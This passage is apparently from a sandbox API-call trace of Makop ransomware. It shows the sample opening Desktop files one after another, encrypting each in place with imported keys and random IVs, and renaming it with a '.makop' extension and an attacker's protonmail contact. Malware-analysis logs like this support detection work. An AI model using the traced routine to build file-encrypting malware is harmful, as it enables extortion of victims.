lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.685] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c3630) returned 1 [0054.685] CryptSetKeyParam (hKey=0x48c3630, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.685] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.686] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdd42, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xdd42, lpOverlapped=0x0) returned 1 [0054.687] CryptEncrypt (in: hKey=0x48c3630, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xdd50, dwBufLen=0xdd50 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xdd50) returned 1 [0054.688] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.688] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdd50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xdd50, lpOverlapped=0x0) returned 1 [0054.689] CryptDestroyKey (hKey=0x48c3630) returned 1 [0054.689] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xde24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.689] SetEndOfFile (hFile=0x120) returned 1 [0054.739] GetProcessHeap () returned 0x48a0000 [0054.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0054.739] GetProcessHeap () returned 0x48a0000 [0054.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.739] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VoqguxMTR7hO9.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 103 [0054.739] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VoqguxMTR7hO9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5voqguxmtr7ho9.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VoqguxMTR7hO9.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5voqguxmtr7ho9.flv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.746] CloseHandle (hObject=0x120) returned 1 [0054.747] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d50680, ftCreationTime.dwHighDateTime=0x1d5e4b2, ftLastAccessTime.dwLowDateTime=0xa4a277a0, ftLastAccessTime.dwHighDateTime=0x1d5df7b, ftLastWriteTime.dwLowDateTime=0xa4a277a0, ftLastWriteTime.dwHighDateTime=0x1d5df7b, nFileSizeHigh=0x0, nFileSizeLow=0x13cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7_AVLXdD0F.csv", cAlternateFileName="7_AVLX~1.CSV")) returned 1 [0054.747] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_AVLXdD0F.csv") returned 52 [0054.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_AVLXdD0F.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7_avlxdd0f.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.747] GetProcessHeap () returned 0x48a0000 [0054.747] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.747] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.747] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.747] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.748] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.748] GetProcessHeap () returned 0x48a0000 [0054.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0054.748] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0054.748] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.748] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0054.750] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.751] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.751] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.751] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.751] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.751] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.751] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.752] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13cb0, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x13cb0, lpOverlapped=0x0) returned 1 [0054.755] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x13cb0, dwBufLen=0x13cb0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x13cb0) returned 1 [0054.756] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.756] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13cb0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x13cb0, lpOverlapped=0x0) returned 1 [0054.756] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.757] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x13d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.757] SetEndOfFile (hFile=0x120) returned 1 [0054.766] GetProcessHeap () returned 0x48a0000 [0054.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0054.766] GetProcessHeap () returned 0x48a0000 [0054.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.766] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_AVLXdD0F.csv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 99 [0054.766] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_AVLXdD0F.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7_avlxdd0f.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_AVLXdD0F.csv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7_avlxdd0f.csv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.817] CloseHandle (hObject=0x120) returned 1 [0054.817] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadbb6300, ftCreationTime.dwHighDateTime=0x1d5d806, ftLastAccessTime.dwLowDateTime=0x2f57c1c0, ftLastAccessTime.dwHighDateTime=0x1d5e3af, ftLastWriteTime.dwLowDateTime=0x2f57c1c0, ftLastWriteTime.dwHighDateTime=0x1d5e3af, nFileSizeHigh=0x0, nFileSizeLow=0x129ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Hkfp.mp3", cAlternateFileName="")) returned 1 [0054.817] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Hkfp.mp3") returned 47 [0054.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Hkfp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hkfp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.818] GetProcessHeap () returned 0x48a0000 [0054.818] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.818] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.818] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.818] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x3, lpOverlapped=0x0) returned 1 [0054.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.821] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.821] GetProcessHeap () returned 0x48a0000 [0054.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0054.821] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0054.821] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.821] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0054.822] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.822] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.822] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.822] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.822] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.823] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.823] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.823] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x129ed, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x129ed, lpOverlapped=0x0) returned 1 [0054.824] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x129f0, dwBufLen=0x129f0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x129f0) returned 1 [0054.825] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.825] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x129f0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x129f0, lpOverlapped=0x0) returned 1 [0054.826] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.826] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x12ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.826] SetEndOfFile (hFile=0x120) returned 1 [0054.836] GetProcessHeap () returned 0x48a0000 [0054.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0054.836] GetProcessHeap () returned 0x48a0000 [0054.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Hkfp.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 94 [0054.837] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Hkfp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hkfp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Hkfp.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hkfp.mp3.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.844] CloseHandle (hObject=0x120) returned 1 [0054.844] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1d5e43d, ftLastAccessTime.dwLowDateTime=0x98c9fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e742, ftLastWriteTime.dwLowDateTime=0x98c9fdd0, ftLastWriteTime.dwHighDateTime=0x1d5e742, nFileSizeHigh=0x0, nFileSizeLow=0xf9ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="8ypiVWMn m2wdao4ygV.mkv", cAlternateFileName="8YPIVW~1.MKV")) returned 1 [0054.844] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ypiVWMn m2wdao4ygV.mkv") returned 61 [0054.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ypiVWMn m2wdao4ygV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8ypivwmn m2wdao4ygv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.844] GetProcessHeap () returned 0x48a0000 [0054.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.844] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.844] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.845] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x6, lpOverlapped=0x0) returned 1 [0054.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.896] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.896] GetProcessHeap () returned 0x48a0000 [0054.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0054.897] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0054.897] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.897] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0054.897] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0054.897] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0054.897] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0054.897] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0054.898] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0054.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.898] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.898] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.898] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf9ba, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xf9ba, lpOverlapped=0x0) returned 1 [0054.899] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xf9c0, dwBufLen=0xf9c0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xf9c0) returned 1 [0054.900] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.900] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xf9c0, lpOverlapped=0x0) returned 1 [0054.901] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.901] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.901] SetEndOfFile (hFile=0x120) returned 1 [0054.957] GetProcessHeap () returned 0x48a0000 [0054.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0054.957] GetProcessHeap () returned 0x48a0000 [0054.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0054.958] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ypiVWMn m2wdao4ygV.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0054.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ypiVWMn m2wdao4ygV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8ypivwmn m2wdao4ygv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ypiVWMn m2wdao4ygV.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8ypivwmn m2wdao4ygv.mkv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0054.964] CloseHandle (hObject=0x120) returned 1 [0054.964] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d8e9910, ftCreationTime.dwHighDateTime=0x1d5e45b, ftLastAccessTime.dwLowDateTime=0xa29fcea0, ftLastAccessTime.dwHighDateTime=0x1d5dcae, ftLastWriteTime.dwLowDateTime=0xa29fcea0, ftLastWriteTime.dwHighDateTime=0x1d5dcae, nFileSizeHigh=0x0, nFileSizeLow=0x50a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Ogn9zWJr2lT61U.png", cAlternateFileName="9OGN9Z~1.PNG")) returned 1 [0054.964] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Ogn9zWJr2lT61U.png") returned 57 [0054.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Ogn9zWJr2lT61U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ogn9zwjr2lt61u.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0054.964] GetProcessHeap () returned 0x48a0000 [0054.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0054.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0054.964] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0054.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0054.965] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0054.965] GetProcessHeap () returned 0x48a0000 [0054.965] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0054.965] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0054.965] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0054.965] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0054.968] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, 